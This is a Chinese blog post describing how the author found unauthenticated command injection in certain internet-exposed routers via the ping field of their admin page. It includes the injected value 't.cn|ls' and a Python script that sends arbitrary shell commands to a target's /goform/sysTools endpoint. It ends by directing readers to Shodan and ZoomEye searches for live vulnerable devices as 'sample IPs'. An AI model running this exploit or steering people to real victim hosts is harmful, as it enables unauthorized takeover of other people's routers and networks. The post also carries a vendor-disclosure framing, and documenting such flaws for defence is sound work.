背景故事:

在对公司内网主机ssh服务弱口令扫描的时候,发现几处弱口令,成功登录之后发现是smashclp服务如下图:

001.jpg

然后对此IP,nmap扫描一下,发现有80端口,直接访问。


Not shown: 994 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

199/tcp  open  smux

427/tcp  open  svrloc

443/tcp  open  https

5120/tcp open  barracuda-bbs

001.jpg

在这里,比较关注的是http请求中的header信息,可以看到

Server:GoAhead-Webs 

利用shodan.io去搜索这个信息,看看有没有什么新发现。

发现漏洞:

利用shodan搜索

https://www.shodan.io/search?query=GoAhead-Webs+country%3A%22CN%22

得到的结果如下

001.jpg

仔细看了下搜索结果,大失所望,发现没有IPMI的主机(可能这种系统一般不会放到外网而且还是弱口令),然后继续随意点了其他几个IP,发现有弱口令的监控设备,然后就是路由器。

那么,就继续看看这些路由器设备。路由器的IP是111.111.111.111:81,访问后跳转到http://111.111.111.111:81/home_H1.asp

界面是这样的

001.jpg

也有这样的

001.jpg

还有这样的

001.jpg 

挖掘漏洞:

一般路由器的漏洞有命令执行,出在ping服务上面,另外可能的漏洞就是绕过登录限制。

这里从可以直接访问的IP中,从系统管理==>系统工具,利用ping服务,输入 t.cn|ls 等即可命令执行。如下图所示

001.jpg

这里写个脚本,方便自己命令执行,如下

#!/usr/bin/env python # coding=utf-8 # author=Tonybreak  ''' 需要安装requestsBeautifulSoup pip install requests pip install beautifulsoup4 命令执行的时候,由于网络问题。本身比较慢,请等待 '''  import requests as rq from bs4 import BeautifulSoup # 这里修改为目标IP和端口 host = '111.111.111.111:81'  def bs(html):  soup = BeautifulSoup(html,'html.parser') return soup def cmd():  p_url = "http://%s/goform/sysTools" % host  cmds = raw_input('Plz input cmd:')  data = 'tool=0&pingCount=4&host=t.cn%7C' + cmds + '&sumbit=%E7%A1%AE%E5%AE%9A'  dd = rq.post(url=p_url,data=data).content  mm = bs(dd)  a = mm.find('textarea',{'readonly':'1'}).get_text() print a if __name__ == '__main__': while 1: try:  cmd() except: continue 

执行结果如下

001.jpg

002.jpg

由于是不完整的linux系统,部分命令不可用,好在wget可用。

在上面的三个界面中,第三种是需要登录的,可以考虑猜解密码或者绕过,这里没有继续深入。 

总结:

和上一篇文章一样,没有什么技术可言,主要是由点及面,稍微扩展下,找到的这些漏洞。智能路由器听上去智能,实际上可能并不智能呢,也许你家里的网络又被他劫持了呢?

建议厂商赶紧修复漏洞。

如有什么疑问,欢迎留言讨论。

样本IP就从这里找吧

https://www.shodan.io/search?query=home_H1.asp

https://www.zoomeye.org/search?q=home_H1.asp%20port%3A81%20country%3AChina&p=1&t=host

*本文原创作者:Tonybreak